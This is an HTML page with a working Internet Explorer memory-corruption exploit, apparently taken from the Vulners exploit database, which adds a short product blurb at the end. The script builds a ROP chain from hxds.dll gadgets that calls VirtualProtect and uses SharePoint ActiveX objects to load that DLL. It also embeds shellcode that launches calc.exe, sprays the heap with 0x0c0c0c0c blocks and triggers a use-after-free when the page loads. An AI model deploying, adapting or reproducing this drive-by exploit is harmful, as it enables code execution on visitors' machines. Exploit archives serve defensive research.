<!doctype html>
<html>
<head>
<script>
//rop 68byte
var rop = unescape(
"%u34b4%u51bf" + // 0x51bf34b4, # POP ESI # RETN [hxds.dll]
"%u10b8%u51bd" + // 0x51bd10b8, # ptr to &VirtualProtect() [IAT hxds.dll]
"%u2d97%u51bd" + // 0x51bd2d97, # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll]
"%ucba0%u51bd" + // 0x51bdcba0, # XCHG EAX,ESI # RETN 00 [hxds.dll]
"%u79e2%u51c3" + // 0x51c379e2, # POP EBP # RETN [hxds.dll]
"%u9683%u51c5" + // 0x51c59683, # & call esp [hxds.dll]
"%u198c%u51be" + // 0x51be198c, # POP EBX # RETN [hxds.dll]
"%u00c8%u0000" + // 0x000000c8, # 0x000000c8-> ebx (calc exploit size 200 bytes) *
"%u5ac3%u51c3" + // 0x51c35ac3, # POP EDX # RETN [hxds.dll]
"%u0040%u0000" + // 0x00000040, # 0x00000040-> edx
"%ucf3e%u51be" + // 0x51becf3e, # POP ECX # RETN [hxds.dll]
"%ud150%u51c5" + // 0x51c5d150, # &Writable location [hxds.dll]
"%uf563%u51be" + // 0x51bef563, # POP EDI # RETN [hxds.dll]
"%u7402%u51c0" + // 0x51c07402, # RETN (ROP NOP) [hxds.dll]
"%u6fbd%u51c5" + // 0x51c56fbd, # POP EAX # RETN [hxds.dll]
"%u9090%u9090" + // 0x90909090, # nop
"%u604e%u51c3"); // 0x51c3604e, # PUSHAD # RETN [hxds.dll]
calc = unescape(
"%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +
"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +
"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +
"%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +
"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +
"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +
"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +
"%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +
"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +
"%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +
"%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +
"%u6c61%u2e63%u7865%u0065");
var exploit =rop+
unescape('%u97e9%u0000%u9000%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u29c7%u51bd')
+calc;
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
Padding = '';
NopSlide = '';
for (p = 0; p < padding_size; p++){
Padding += unescape('%u0c0c');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u0c0c');} //exploit hou
NopSlide = NopSlide.substring(0,block_size - (exploit.length + Padding.length));
var OBJECT = Padding + exploit + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
function helloWorld()
{
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
}
catch(e){ }
var checka = 0;
var checkb = 0;
try {
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch (e) {}
try {
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
} catch (e) {}
if ((typeof checka) == "object" && (typeof checkb) == "object") {
try{location.href='ms-help://'} catch(e){}
}
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
try{location.href='ms-help://'} catch(e){}
}
CollectGarbage();
var arr_div = new Array();
var junk=unescape("%u0c0c%u0c0c");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
for(var i = 0; i<0x150; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation